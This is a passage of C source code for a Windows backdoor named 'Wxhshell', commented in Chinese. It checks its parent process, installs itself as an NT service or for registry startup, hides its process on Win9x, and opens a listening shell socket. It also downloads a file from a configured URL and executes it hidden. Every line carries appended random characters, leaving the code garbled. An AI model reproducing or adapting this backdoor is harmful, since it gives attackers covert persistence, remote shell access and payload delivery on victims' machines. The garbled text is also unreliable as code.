DWORD AffinityMask; (t&`m[>K
DWORD BasePriority; Z-ci[Zv
ULONG UniqueProcessId; O^./)#!#
ULONG InheritedFromUniqueProcessId; )S4ga
} PROCESS_BASIC_INFORMATION; OSUiS`k
k0\a7$}F
PROCNTQSIP NtQueryInformationProcess; 1V[ZklS
saZK+kD4I
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q[P> s{"
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QaEiP n~
A0A|c JP
HANDLE hProcess; W[`ybGR<
PROCESS_BASIC_INFORMATION pbi; (>u1O V
ND?"1/s
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E]&N'+T
if(NULL == hInst ) return 0; %nq<nfDT
2P'Vp7f6 Y
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :+QNN<
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .j,xh )v"
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fk?!0M6d
X1}M_h%
if (!NtQueryInformationProcess) return 0; tAep_GR
T>1#SWQ/9
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @V^.eVM\R
if(!hProcess) return 0; $U7/w?gc'
sVP\EF8PY
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gzVZPvTPE
Si~wig2
CloseHandle(hProcess); Yyd}>+|<,
!~F oy F
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S{2;PaK
if(hProcess==NULL) return 0; 8'3&z-
0^J%&1a Ic
HMODULE hMod; 4%qmwt*p
char procName[255]; X1oR
unsigned long cbNeeded; s8]%L4lvu
H@zv-{}T8
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jZidT9[g
U)-aecB!
CloseHandle(hProcess); avG#0AY
fM]nP4K`
if(strstr(procName,"services")) return 1; // 以服务启动 G='`*_$
.^F&6'h1H
return 0; // 注册表启动 U{lf$
} >#mKM%T2MJ
RYC%;h
// 主模块 Ym]g0a
int StartWxhshell(LPSTR lpCmdLine) /i@.Xg@:
{ .L#4#IO
SOCKET wsl; W"#<r
BOOL val=TRUE; AZNo%!)o
int port=0; kn3GgdU
struct sockaddr_in door; m^ar:mK@
Xu_1r8-|=b
if(wscfg.ws_autoins) Install(); r:0RvWif
Dvz 6 E
port=atoi(lpCmdLine); VY~*QF~P
J'=s25OWU
if(port<=0) port=wscfg.ws_port; c; .y
]moBVRd
WSADATA data; p\'X%R
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G^|b*n!!
UDJ#P9uy
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; PPpaH!(D
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t,XbF
door.sin_family = AF_INET; FChW`b&S
door.sin_addr.s_addr = inet_addr("127.0.0.1"); xk8NX-:
door.sin_port = htons(port); G;t<dJ8
]+qd|}^
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g_tEUaiK
closesocket(wsl); Fgwe`[
return 1; ?_ uan
} @c8RlW/A
AoxORPp'
if(listen(wsl,2) == INVALID_SOCKET) { 4TU\SP8sM
closesocket(wsl); "AMw o(Yi
return 1; bfJ<~ss/
} #|:q"l9
Wxhshell(wsl); Avljrds+7
WSACleanup(); pG*W>F
<R2SV=]Sq#
return 0; J$jLGy& '
n3/Bs
} l_
x jsu
1dp8'f5^
// 以NT服务方式启动 PDgZb
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O6-';H:I]L
{ :u@ w;
DWORD status = 0; v,rKuvc'
DWORD specificError = 0xfffffff; $'*{&/@
_Eq,udCso
serviceStatus.dwServiceType = SERVICE_WIN32; 5|bfrc
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~U8#yo
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XNvlx4
serviceStatus.dwWin32ExitCode = 0; K;\fJ2ag
serviceStatus.dwServiceSpecificExitCode = 0; 1Nv qtVC
serviceStatus.dwCheckPoint = 0; <Fl.W}?Q}
serviceStatus.dwWaitHint = 0; B~<bc
y?}<SnjP:
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a)+*Gf7?
if (hServiceStatusHandle==0) return; gK *=T
5X]f}6kT
status = GetLastError(); XL1x8IB
if (status!=NO_ERROR) |w_l~xYV)
{ ct(euPU
serviceStatus.dwCurrentState = SERVICE_STOPPED; 6@(o8i
serviceStatus.dwCheckPoint = 0; +'[*ikxD=g
serviceStatus.dwWaitHint = 0; +y-3tcI)
serviceStatus.dwWin32ExitCode = status; TPN1Rnt0`
serviceStatus.dwServiceSpecificExitCode = specificError; fE>JoQs38
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ me/ve
return; 90<a'<\|
} mG*Yv
!*"#*)S.
serviceStatus.dwCurrentState = SERVICE_RUNNING; FB~IO#E8W
serviceStatus.dwCheckPoint = 0; G)3r[C^[k
serviceStatus.dwWaitHint = 0; jR3mV
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NPE 4@c_a@
} \)g}
RM25]hx
// 处理NT服务事件,比如:启动、停止 9I1i(0q
VOID WINAPI NTServiceHandler(DWORD fdwControl) <{eJbN p
{ %wJ>V-\e
switch(fdwControl) >dDcm
{ `Z2-<:]6&a
case SERVICE_CONTROL_STOP: 7$L*nf
serviceStatus.dwWin32ExitCode = 0; E|VTbEYG
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8*]dAft
serviceStatus.dwCheckPoint = 0; V-dub{K
serviceStatus.dwWaitHint = 0; Djp;\.$(
{ gPpk0LZi
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fcn@j#[J
} &D7Mv5i0@
return; }?U
#@ h
case SERVICE_CONTROL_PAUSE: u$"Ew^C
serviceStatus.dwCurrentState = SERVICE_PAUSED; @[ '?AsO
break; .z,`{-7U
case SERVICE_CONTROL_CONTINUE: m\ @Q}
serviceStatus.dwCurrentState = SERVICE_RUNNING; W=K+kB
break; sg<c1
case SERVICE_CONTROL_INTERROGATE: a7z%)i;Z
break; jq/ CXYv
}; JWxSN9.X
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ae+*gkPv8
} J@q!N;eh|
c8o2* C$
// 标准应用程序主函数 8(-N;<Ef2
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H ;HFen|
{ AD'c#CT
hi ),PfAV
// 获取操作系统版本 ]vCs9* |B
OsIsNt=GetOsVer(); GkdxwuRw
GetModuleFileName(NULL,ExeFile,MAX_PATH); X&%;(`
gYw=Z_z
// 从命令行安装 $j0<ef!
if(strpbrk(lpCmdLine,"iI")) Install(); 6s:
)},/=#C0
// 下载执行文件 |@MGGAk
if(wscfg.ws_downexe) { Y^5)u/Y=U
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xI5zP?
_v
WinExec(wscfg.ws_filenam,SW_HIDE); V:8{MO(C\
} C^
~[b
o
2cv=7!K4Uv
if(!OsIsNt) { RWGAxq`9f
// 如果时win9x,隐藏进程并且设置为注册表启动 *nY$YwHB
HideProc(); S^SF!k=
StartWxhshell(lpCmdLine); `{nzw $
} :1!k*5
else Vf$q3X
if(StartFromService()) "Qe2U(Un
// 以服务方式启动 #\O?|bN'q
StartServiceCtrlDispatcher(DispatchTable); JZ"XrS0?
else 4m_CPe
// 普通方式启动 DV~g
StartWxhshell(lpCmdLine); idZ]d6
%wmbFj}
return 0; o5w =
}